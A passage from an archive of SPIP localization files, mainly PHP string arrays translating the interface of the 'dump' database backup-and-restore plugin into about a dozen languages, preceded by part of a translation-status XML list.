<langue code="ja" url="http://trad.spip.net/tradlang_module/dump?lang_cible=ja" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="km" url="http://trad.spip.net/tradlang_module/dump?lang_cible=km" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/dump?lang_cible=lb" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="my" url="http://trad.spip.net/tradlang_module/dump?lang_cible=my" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="nb" url="http://trad.spip.net/tradlang_module/dump?lang_cible=nb" total="41" traduits="7" relire="0" modifs="3" nouveaux="31" pourcent="17.07">
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/dump?lang_cible=nl" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="gerbrand" lien="http://trad.spip.net/auteur/gerbrand" />
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="oc_auv" url="http://trad.spip.net/tradlang_module/dump?lang_cible=oc_auv" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="oc_gsc" url="http://trad.spip.net/tradlang_module/dump?lang_cible=oc_gsc" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="oc_lms" url="http://trad.spip.net/tradlang_module/dump?lang_cible=oc_lms" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="oc_lnc" url="http://trad.spip.net/tradlang_module/dump?lang_cible=oc_lnc" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="oc_ni" url="http://trad.spip.net/tradlang_module/dump?lang_cible=oc_ni" total="41" traduits="10" relire="0" modifs="2" nouveaux="29" pourcent="24.39">
</langue>
<langue code="oc_ni_la" url="http://trad.spip.net/tradlang_module/dump?lang_cible=oc_ni_la" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="oc_prv" url="http://trad.spip.net/tradlang_module/dump?lang_cible=oc_prv" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="oc_va" url="http://trad.spip.net/tradlang_module/dump?lang_cible=oc_va" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="pl" url="http://trad.spip.net/tradlang_module/dump?lang_cible=pl" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/dump?lang_cible=pt" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/dump?lang_cible=pt_br" total="41" traduits="20" relire="0" modifs="0" nouveaux="21" pourcent="48.78">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ro" url="http://trad.spip.net/tradlang_module/dump?lang_cible=ro" total="41" traduits="10" relire="0" modifs="2" nouveaux="29" pourcent="24.39">
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/dump?lang_cible=ru" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/dump?lang_cible=sk" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
<langue code="sv" url="http://trad.spip.net/tradlang_module/dump?lang_cible=sv" total="41" traduits="9" relire="0" modifs="1" nouveaux="31" pourcent="21.95">
</langue>
<langue code="tr" url="http://trad.spip.net/tradlang_module/dump?lang_cible=tr" total="41" traduits="10" relire="0" modifs="2" nouveaux="29" pourcent="24.39">
</langue>
<langue code="vi" url="http://trad.spip.net/tradlang_module/dump?lang_cible=vi" total="41" traduits="7" relire="0" modifs="5" nouveaux="29" pourcent="17.07">
</langue>
<langue code="zh" url="http://trad.spip.net/tradlang_module/dump?lang_cible=zh" total="41" traduits="7" relire="0" modifs="5" nouveaux="29" pourcent="17.07">
</langue>
</traduction>
paquet-dump_pt.php 0000666 00000000724 15252540315 0010233 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'Cópia de segurança e restauro da base de dados em SQLite ',
'dump_slogan' => 'Cópia de segurança e restauro da base de dados SPIP'
);
?>
paquet-dump_it.php 0000666 00000000666 15252540315 0010231 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'Backup e ripristino della base dati SQLite',
'dump_slogan' => 'Backup e ripristino del database di SPIP'
);
?>
dump_nb.php 0000666 00000002342 15252540315 0006710 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=nb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Gjenopprett databasen',
// I
'info_restauration_sauvegarde' => 'gjenopprettet sikkerhetskopien @archive@', # MODIF
'info_sauvegarde' => 'Ta sikkerhetskopi',
'info_sauvegarde_reussi_02' => 'Databasen er lagret i @archive@. Du kan', # MODIF
'info_sauvegarde_reussi_03' => 'gå tilbake til administrasjonsgrensesnittet',
'info_sauvegarde_reussi_04' => 'av nettstedet ditt.',
// T
'texte_admin_tech_02' => 'Attention: cette sauvegarde ne pourra être restaurée QUE dans un site installé sous la même version de SPIP. Il ne faut donc surtout pas « vider la base » en espérant réinstaller la sauvegarde après une mise à jour... Consultez <a href="@spipnet@">la documentation de SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Gjenopprett innholdet av databasens sikkerhetskopi',
'texte_sauvegarde' => 'Ta sikkerhetskopi av databaseinnholdet',
'texte_sauvegarde_base' => 'Ta sikkerhetskopi av databasen'
);
?>
dump_sk.php 0000666 00000007442 15252540315 0006734 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'prázdny',
'avis_probleme_ecriture_fichier' => 'Problém so zápisom do súboru @fichier@',
// B
'bouton_restaurer_base' => 'Obnoviť databázu',
// C
'confirmer_ecraser_base' => 'Áno, chcem prepísať svoju databázu so zálohou',
'confirmer_ecraser_tables_selection' => 'Áno, chcem prepísať vybrané tabuľky so zálohou',
// D
'details_sauvegarde' => 'Podrobnosti o zálohe:',
// E
'erreur_aucune_donnee_restauree' => 'Žiadne údaje neboli obnovené',
'erreur_connect_dump' => 'Server s názvom @dump@ už existuje. Premenujte ho.',
'erreur_creation_base_sqlite' => 'Nedá sa vytvoriť databáza SQLite pre zálohu',
'erreur_nom_fichier' => 'Tento názov súboru nie je povolený',
'erreur_restaurer_verifiez' => 'Opravte chybu, aby ste mohli obnoviť údaje.',
'erreur_sauvegarde_deja_en_cours' => 'Už máte jednu zálohu, ktorá sa spracúva',
'erreur_sqlite_indisponible' => 'U vášho poskytovateľa hostingu sa nedá vytvoriť záloha SQLite',
'erreur_table_absente' => 'Tabuľka @table@ chýba',
'erreur_table_donnees_manquantes' => 'Tabuľka @table@, chýbajú údaje',
'erreur_taille_sauvegarde' => 'Zdá sa, že zálohovanie sa nepodarilo. Súbor @fichier@ je buď prázdny, alebo chýba.
',
// I
'info_aucune_sauvegarde_trouvee' => 'Žiadna záloha sa nenašla',
'info_restauration_finie' => 'Hotovo! Záloha @archive@ sa použila na vašu stránku. Môžete',
'info_restauration_sauvegarde' => 'Obnova zálohy @archive@',
'info_sauvegarde' => 'Záloha',
'info_sauvegarde_reussi_02' => 'Databáza bola uložená do súboru @archive@. Môžete',
'info_sauvegarde_reussi_03' => 'return to the management',
'info_sauvegarde_reussi_04' => 'svojej stránky.',
'info_selection_sauvegarde' => 'Rozhodli ste sa obnoviť zálohu @fichier@. Táto operácia sa nedá vrátiť späť.',
// L
'label_nom_fichier_restaurer' => 'alebo uveďte názov súboru, ktorý chcete obnoviť',
'label_nom_fichier_sauvegarde' => 'Názov pre súbor so zálohou',
'label_selectionnez_fichier' => 'Vyberte súbor zo zoznamu',
// N
'nb_donnees' => '@nb@ záznamov',
// R
'restauration_en_cours' => 'Obnovuje sa',
// S
'sauvegarde_en_cours' => 'Zálohuje sa',
'sauvegardes_existantes' => 'Existujúce zálohy',
'selectionnez_table_a_restaurer' => 'Vyberte tabuľky, ktoré treba obnoviť',
// T
'texte_admin_tech_01' => 'Táto možnosť vám umožňuje uložiť obsah databázy do súboru uloženého v priečinku @dossier@. Tiež nezabudnite obnoviť celý priečinok @img@, v ktorom sú obrázky a súbory, ktoré sa používajú v článkoch a rubrikách.',
'texte_admin_tech_02' => 'Pozor: táto záloha môže byť obnovená IBA v takej verzii SPIPu, v ktorej bola vytvorená. Nemôžete "vyprázdniť" databázu a očakávať, že sa po aktualizácii preinštaluje zo zálohy. Viac informácii si môžete prečítať <a href="@spipnet@">v dokumentácii k SPIPu.</a>',
'texte_restaurer_base' => 'Obnoviť obsah databázy zálohy',
'texte_restaurer_sauvegarde' => 'Táto možnosť vám umožňuje obnoviť predchádzajúcu verziu databázy zo zálohy. Na tento účel treba súbor so zálohou
presunúť do priečinka @dossier@.
Pri používaní tejto funkcie treba byť obozretný: <b>akékoľvek zmeny ani straty
sa nedajú odvolať.</b>',
'texte_sauvegarde' => 'Záloha obsahu databázy',
'texte_sauvegarde_base' => 'Zálohovať databázu',
'tout_restaurer' => 'Obnoviť všetky tabuľky',
'tout_sauvegarder' => 'Zálohovať všetky tabuľky',
// U
'une_donnee' => '1 záznam'
);
?>
dump_nl.php 0000666 00000007641 15252540315 0006731 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'leeg',
'avis_probleme_ecriture_fichier' => 'Probleem met het wegschrijven van het bestand @fichier@',
// B
'bouton_restaurer_base' => 'De databank herstellen',
// C
'confirmer_ecraser_base' => 'Ja, ik wil mijn database overschrijven met de back-up',
'confirmer_ecraser_tables_selection' => 'Ja, ik wil de geselecteerde tabellen met de back-up overschrijven',
// D
'details_sauvegarde' => 'Details van de back-up:',
// E
'erreur_aucune_donnee_restauree' => 'Er zijn geen gegevens teruggeplaatst',
'erreur_connect_dump' => 'Een server met de naam « @dump@ » bestaat reeds. Hernoemen.',
'erreur_creation_base_sqlite' => 'Onmogelijk om een SQLite database te maken voor back-up',
'erreur_nom_fichier' => 'Deze bestandsnaam is niet toegelaten',
'erreur_restaurer_verifiez' => 'Corrigeer de fout om te kunnen herstellen',
'erreur_sauvegarde_deja_en_cours' => 'De backup wordt reeds gemaakt',
'erreur_sqlite_indisponible' => 'Het is niet mogelijk een SQlite backup te doen op je hosting.',
'erreur_table_absente' => 'Tabel @table@ afwezig',
'erreur_table_donnees_manquantes' => 'Tabel @table@, gegevens ontbreken',
'erreur_taille_sauvegarde' => 'De backup blijkt misgelukt. Het bestand @fichier@ is leeg of afwezig.',
// I
'info_aucune_sauvegarde_trouvee' => 'Geen backup gevonden',
'info_restauration_finie' => 'Het is gedaan !. Da backup @archive@ werd op je site teruggezet. Je kan ',
'info_restauration_sauvegarde' => 'Restauratie van de bescherming @archive@',
'info_sauvegarde' => 'Backup',
'info_sauvegarde_reussi_02' => 'De databank werd bewaard in @archive@. Je kan ',
'info_sauvegarde_reussi_03' => 'terugkeren naar het beheer',
'info_sauvegarde_reussi_04' => 'op uw website.',
'info_selection_sauvegarde' => 'Je hebt gekozen om de backup @fichier@ terug te zetten. Deze handeling is onomkeerbaar !',
// L
'label_nom_fichier_restaurer' => 'Of schrijf de naam van het te terugzetten bestand in',
'label_nom_fichier_sauvegarde' => 'Bestandsnaam voor de backup',
'label_selectionnez_fichier' => 'Selecteer een bestand in het lijst',
// N
'nb_donnees' => '@nb@ records',
// R
'restauration_en_cours' => 'Backup wordt teruggezet',
// S
'sauvegarde_en_cours' => 'Back-up wordt uitgevoerd',
'sauvegardes_existantes' => 'Bestaande backups',
'selectionnez_table_a_restaurer' => 'Selecteer de tabellen te terugzetten',
// T
'texte_admin_tech_01' => 'Deze optie laat je toe de inhoud van de databank te bewaren in een bestand dat bewaard zal worden in de map @dossier@. Vergeet ook niet de volledige map @img@ te bewaren. Zij bevat alle afbeeldingen en bijlagen bij de artikels en rubrieken.',
'texte_admin_tech_02' => 'Waarschuwing : deze backup kan ENKEL via een website worden teruggezet die onder dezelfde versie van SPIP is geïnstalleerd. Men mag vooral niet « de databank legen » in de hoop de backup terug te kunnen plaatsen na het updaten van SPIP… Raadpleeg <a href= "@spipnet@">de documentatie van SPIP</a>.',
'texte_restaurer_base' => 'De inhoud van de reservekopie van de databank terugzetten',
'texte_restaurer_sauvegarde' => 'Deze optie laat je toe een eerder genomen reservekopie van de databank
terug te plaatsen. Hiertoe dien je het bestand met de reservekopie
te plaatsen in de map @dossier@.
Wees voorzichtig met het gebruik van deze optie: <b>alle wijzigingen, eventuele verliezen, zijn
onomkeerbaar.</b>',
'texte_sauvegarde' => 'Een reservekopie maken van de inhoud van de databank',
'texte_sauvegarde_base' => 'Reservekopie maken van de databank',
'tout_restaurer' => 'Alle tabellen terugzetten',
'tout_sauvegarder' => 'Back-up van alle tabellen maken
',
// U
'une_donnee' => '1 record'
);
?>
dump_da.php 0000666 00000003462 15252540315 0006701 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=da
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Genetabler databasen',
// I
'info_restauration_sauvegarde' => 'Genindlæsning af sikkerhedskopi @archive@', # MODIF
'info_sauvegarde' => 'Sikkerhedskopi',
'info_sauvegarde_reussi_02' => 'Databasen er gemt i @archive@. Du kan',
'info_sauvegarde_reussi_03' => 'returnere til administration',
'info_sauvegarde_reussi_04' => 'af webstedet.',
// T
'texte_admin_tech_01' => 'Dette valg giver dig mulighed for at gemme databasens indhold i en fil lagret i kataloget
@dossier@.
Husk også at medtage hele kataloget <i>IMG/</i>, som rummer de billeder og dokumenter, der bruges i artikler og afsnit.',
'texte_admin_tech_02' => 'Advarsel: denne sikkerhedskopi kan KUN genindlæses på et websted, der har installeret samme version af SPIP.
Det er en almindelig misforståelse at tage sikkerhedskopi af et websted forud for opgradering af SPIP...
For mere information henvises til <a href="@spipnet@">SPIP dokumentation</a>.', # MODIF
'texte_restaurer_base' => 'Genindlæs indholdet af sikkerhedskopien af databasen',
'texte_restaurer_sauvegarde' => 'Denne valgmulighed giver dig adgang til at genindlæse en tidligere
sikkerhedskopi af databasen. For at gøre det, skal filen, der indeholder sikkerhedskopien af databasen,
på forhånd kopieres til kataloget @dossier@.
Vær forsigtig med denne funktion: <b>Alle eventuelle ændringer og tab er uoprettelige.</b>', # MODIF
'texte_sauvegarde' => 'Sikkerhedskopier indholdet af databasen',
'texte_sauvegarde_base' => 'Sikkerhedskopier databasen'
);
?>
dump_ar.php 0000666 00000011433 15252540315 0006714 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'فارغ',
'avis_probleme_ecriture_fichier' => 'مشكلة في كتابة الملف @fichier@',
// B
'bouton_restaurer_base' => 'إسترجاع القاعدة',
// C
'confirmer_ecraser_base' => 'نعم، أريد استبدال القاعدة بهذه النسخة الاحتياطية',
'confirmer_ecraser_tables_selection' => 'نعم أريد استبدال الجداول المحددة بهذه النسخة الاحتياطية',
// D
'details_sauvegarde' => 'نفاصيل النسخة الاحتياطية:',
// E
'erreur_aucune_donnee_restauree' => 'لم يتم استرجاع اي بيانات',
'erreur_connect_dump' => 'يوجد خادم اسمه « @dump@ ». أعد تسميته.',
'erreur_creation_base_sqlite' => 'لا يمكن انشاء قاعدة SQLite للنسخة الاحتياطية',
'erreur_nom_fichier' => 'اسم ملف غير مسموح به',
'erreur_restaurer_verifiez' => 'يجب تصحيح الخطأ للتمكن من الاسترجاع.',
'erreur_sauvegarde_deja_en_cours' => 'يوجد حالياً نسخ احتياطي قيد التنفيذ',
'erreur_sqlite_indisponible' => 'إستضافة موقعك لا تسمح بتنفيذ نسخ احتياطي SQLite ',
'erreur_table_absente' => 'جدول @table@ غير موجود',
'erreur_table_donnees_manquantes' => 'الجدول @table@، بيانات ناقصة',
'erreur_taille_sauvegarde' => 'يبدو ان النسخ الاحتياطي فشل. فالملف @fichier@ فارغ او غير موجود. ',
// I
'info_aucune_sauvegarde_trouvee' => 'لم يتم العثور على اي نسخة احتياطية',
'info_restauration_finie' => 'انتهى! تم استرجاع النسخة الاحتياطية @archive@ في الموقع؟ يمكنك',
'info_restauration_sauvegarde' => 'إسترجاع النسخة الاحتياطية @archive@',
'info_sauvegarde' => 'نسخة إحتياطية',
'info_sauvegarde_reussi_02' => 'تم حفظ قاعدة البيانات في @archive@. يمكنك',
'info_sauvegarde_reussi_03' => 'العودة الى إدارة',
'info_sauvegarde_reussi_04' => 'موقعك.',
'info_selection_sauvegarde' => 'اخترت استرجاع النسخة الاحتياطية @fichier@. لا يمكن التراجع عن هذه العملية.',
// L
'label_nom_fichier_restaurer' => 'أو تحديد اسم الملف المطلوب استرجاعه',
'label_nom_fichier_sauvegarde' => 'اسم ملف النسخة الاحتياطية',
'label_selectionnez_fichier' => 'تحديد ملف في القائمة',
// N
'nb_donnees' => '@nb@ تسجيل',
// R
'restauration_en_cours' => 'استرجاع قيد التنفيذ',
// S
'sauvegarde_en_cours' => 'نسخ احتياطي قيد التنفيذ',
'sauvegardes_existantes' => 'النسخ الاحتياطية الموجودة',
'selectionnez_table_a_restaurer' => 'تحديد جداول مطلوب استرجاعها',
// T
'texte_admin_tech_01' => 'يتيح لك هذا الخيار حفظ محتوى قاعدة البيانات في ملف يتم تخزينه في دليل @dossier@. لا تنسى أيضاً أن تسترد كامل دليل @img@، الذي يحتوي على الصور والمستندات المستخدمة في المقالات والأقسام.',
'texte_admin_tech_02' => 'تحذير: لا يمكن إسترجاع هذه النسخة الاحتياطية إلا من خلال موقع تم تثبيته بالإصدار نفسه من SPIP . بالاخص لا يجب «تفريغ القاعدة» مع الامل بإعادة تثبيتها بعد التحديث... لمزيد من المعلومات راجع <a href="@spipnet@">دليل SPIP</a>.',
'texte_restaurer_base' => 'إسترجاع محتوى النسخة الاحتياطية من القاعدة',
'texte_restaurer_sauvegarde' => 'يتيح لك هذا الخيار إسترجاع نسخة إحتياطية
سابقة من القاعدة. لتنفيذ ذلك، يجب على ملف النسخة الاحتياطية
ان يكون قد حفظ في دليل @dossier@.
توخى الحذر مع هذه الوظيفة: <b>اي تعديل أو فقدان في البيانات نهائي ولا يمكن
التراجع عنه</b>.',
'texte_sauvegarde' => 'نسخ إحتياطي لمحتوى القاعدة',
'texte_sauvegarde_base' => 'إنشاء نسخة إحتياطية من القاعدة',
'tout_restaurer' => 'استرجاع كل الجداول',
'tout_sauvegarder' => 'حفظ كل الجداول',
// U
'une_donnee' => 'تسجيل واحد'
);
?>
paquet-dump_es.php 0000666 00000000716 15252540315 0010220 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'Copia de seguridad en SQLite y recuperación',
'dump_slogan' => 'Copia de seguridad y recuperación de la base de datos de SPIP'
);
?>
dump_en.php 0000666 00000007047 15252540315 0006722 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'empty',
'avis_probleme_ecriture_fichier' => 'Problem writing the file @file@',
// B
'bouton_restaurer_base' => 'Restore the database',
// C
'confirmer_ecraser_base' => 'Yes, I want to overwrite my database with the backup',
'confirmer_ecraser_tables_selection' => 'Yes, I want to overwrite the selected tables with the backup',
// D
'details_sauvegarde' => 'Details of the backup:',
// E
'erreur_aucune_donnee_restauree' => 'No data restored',
'erreur_connect_dump' => 'A server named "@dump@" already exists. Rename it.',
'erreur_creation_base_sqlite' => 'Unable to create a SQLite database for backup',
'erreur_nom_fichier' => 'This file name is not allowed',
'erreur_restaurer_verifiez' => 'Resolve the error in order to restore.',
'erreur_sauvegarde_deja_en_cours' => 'You already have a backup in progress',
'erreur_sqlite_indisponible' => 'Unable to make a SQLite backup on your hosting provider',
'erreur_table_absente' => 'Table @table@ missing',
'erreur_table_donnees_manquantes' => 'Table @table@, datas missing',
'erreur_taille_sauvegarde' => 'The backup appears to have failed. @fichier@ file is empty or absent.',
// I
'info_aucune_sauvegarde_trouvee' => 'No backup found',
'info_restauration_finie' => 'It’s over!. The backup @archive@ has been restored to your site. you can',
'info_restauration_sauvegarde' => 'Restoring the backup @archive@',
'info_sauvegarde' => 'Backup',
'info_sauvegarde_reussi_02' => 'The database has been saved in @archive@. You can',
'info_sauvegarde_reussi_03' => 'return to the management',
'info_sauvegarde_reussi_04' => 'of your site.',
'info_selection_sauvegarde' => 'You have chosen to restore the backup @file@. This is irreversible.',
// L
'label_nom_fichier_restaurer' => 'Or specify the file name to restore',
'label_nom_fichier_sauvegarde' => 'File name for backup',
'label_selectionnez_fichier' => 'Select a file in the list',
// N
'nb_donnees' => '@nb@ records',
// R
'restauration_en_cours' => 'Restoration in progress',
// S
'sauvegarde_en_cours' => 'Backup in progress',
'sauvegardes_existantes' => 'Existing backups',
'selectionnez_table_a_restaurer' => 'Select the tables to restore',
// T
'texte_admin_tech_01' => 'This option lets you save the content of the database as a file in the directory @dossier@. Do not forget to retrieve the whole @img@ directory, which contains the images and documents used in the articles and sections.',
'texte_admin_tech_02' => 'Warning: this backup can ONLY be restored by the same version of SPIP that created it. You cannot "empty the database" and expect to reinstall the backup after an upgrade... Refer to <a href="@spipnet@">SPIP documentation</a>.',
'texte_restaurer_base' => 'Restore a database content backup',
'texte_restaurer_sauvegarde' => 'This option allows you to restore a previous backup of the database. For this, the file containing the backup should have been stored in the directory @dossier@.
Be very careful with this feature: <b>any potential modifications or losses are irreversible.</b>',
'texte_sauvegarde' => 'Backup database content',
'texte_sauvegarde_base' => 'Backup the database',
'tout_restaurer' => 'Restore all the tables',
'tout_sauvegarder' => 'Backup all the tables',
// U
'une_donnee' => '1 record'
);
?>
dump_eu.php 0000666 00000003333 15252540315 0006723 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=eu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Basea berreskuratu ',
// I
'info_restauration_sauvegarde' => '@archive@ babeskopiaren leheneratzea',
'info_sauvegarde' => 'Babeskopia',
'info_sauvegarde_reussi_02' => 'Basea ecrire/data/@archive@-ean gorde da. Ahal zara',
'info_sauvegarde_reussi_03' => 'kudeaketara itzuli',
'info_sauvegarde_reussi_04' => 'zure gunearen.',
// T
'texte_admin_tech_01' => 'Aukera honek basearen edukia ecrire/data direktorioan bilduko den fitxategi batean gordetzen uzten dizu.Halaber ez ahaztu IMG/direktorioaren osotasuna berreskuratzea, artikuluetan eta ataletan erabilitako irudiak eta dokumentuak dituena.',
'texte_admin_tech_02' => 'kontuz: babeskopia hau SPIP-en bertsio berdinarekin instalatutako gune batean bakarrik leheneratzen ahalko da. Horregatik ez da batez ere « basea hustu » behar, babeskopia berrinstalatzeko zain egonez eguneratze baten ondoren... <a href="@spipnet@">SPIPen dokumentazioa</a> kontsultatu.', # MODIF
'texte_restaurer_base' => 'Ziurtasunkopiaren edukia berreskuratu',
'texte_restaurer_sauvegarde' => 'Aukera honekin lehenago egindako ziurtasun kopia bat berrezarri ahal duzu. Hau egin ahal izateko,ziurtasun kopia daukan fitxeroa ecrire/data/ direktorioan egon behar da. Kontuz ibilifuntzionalitate honekin: aldaketak edo galtze tenporalak atzeraezinak dira.', # MODIF
'texte_sauvegarde' => 'Basean ziurtasun kopia bat sortu.',
'texte_sauvegarde_base' => 'Basean ziurtasun kopia bat sortu.'
);
?>
paquet-dump_eo.php 0000666 00000000677 15252540315 0010222 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=eo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'Savkopio de la datumbazo en SQLite kaj restaŭro',
'dump_slogan' => 'Savkopio kaj restaŭro de la datumbazo SPIP'
);
?>
dump_km.php 0000666 00000006721 15252540315 0006725 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=km
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'ធ្វើអោយដូចដើម ឃ្លាំងទិន្នន័យ',
// I
'info_restauration_sauvegarde' => 'ការកែលំអកម្មវិធីថតទុកនូវឯកសារ (backup) @archive@', # MODIF
'info_sauvegarde' => 'ច្បាប់ចំលង',
'info_sauvegarde_reussi_02' => 'ឃ្លាំងទិន្នន័យ ត្រូវបានបង្កើត ជាច្បាប់ចំលង ក្នុង @archive@។ អ្នកអាច',
'info_sauvegarde_reussi_03' => 'ត្រលប់ ទៅ ការគ្រប់គ្រង',
'info_sauvegarde_reussi_04' => 'នៃសៃថ៍ របស់អ្នក។',
// T
'texte_admin_tech_01' => 'ជម្រើសនេះអនុញ្ញាតឱ្យលោកអ្នករក្សាទុកនូវខ្លឹមសារទិន្នន័យនៅក្នុងហ្វាលដែលរក្សាទុកនៅក្នុងថត (directory) @dossier@។ ដូចគ្នានេះដែរ សូមចងចាំត្រូវបើក @img@ ទាំងមូល ដែលមានរូបភាព និងឯកសារដែលត្រូវប្រើប្រាស់នៅក្នុងអត្ថបទ និងផ្នែក។',
'texte_admin_tech_02' => 'ប្រយត្ន៖ ការបង្កើតច្បាប់ចំលងនេះ នឹងអាចស្តារ ត្រឹមក្នុងមួយវ៉ែបសៃថ៍ មានកំណែ SPIP ដូចគ្នា។ ចឹងគ្មានត្រូវ ជាពិសេស " លុបសំអាត ឃ្លាំងទិន្នន័យ " ដោយសង្ឃឹម តំលើងឡើងវិញ ច្បាប់ចំលង ក្រោយការបន្ទាន់សម័យ... សូមពិនិត្យ <a href="@spipnet@">កំរងឯកសារ របស់ SPIP</a>។ ។', # MODIF
'texte_restaurer_base' => 'ស្តារ ខ្លឹមសារ នៃច្បាប់ចំលងទិន្នន័យ',
'texte_restaurer_sauvegarde' => 'ជំរើសនេះ អនុញ្ញាតខ្ញុំ ស្តារមួយច្បាប់ចំលង នៃមូលដ្ឋានទិន្នន័យ។ ដើម្បីសំរេចចឹង, ឯកសារ មានផ្ទុកច្បាប់ចំលង គួរតែត្រូវបានតំកល់ទុក ក្នុងថត @dossier@។
ត្រូវតែប្រយត្ន ជាមួយមុខងារនេះ៖ <b>គ្រប់បំលាសប្តូរ ឬ គ្រប់ការបាត់បង់ គ្មានអាចត្រលប់ក្រោយ។</b> ', # MODIF
'texte_sauvegarde' => 'ថតទុកនូវខ្លឹមសារសំណុំទិន្នន័យ',
'texte_sauvegarde_base' => 'ថតទុកនូវសំណុំទិន្នន័យ'
);
?>
statistiques_bg.php 0000666 00000005771 15252540432 0010507 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
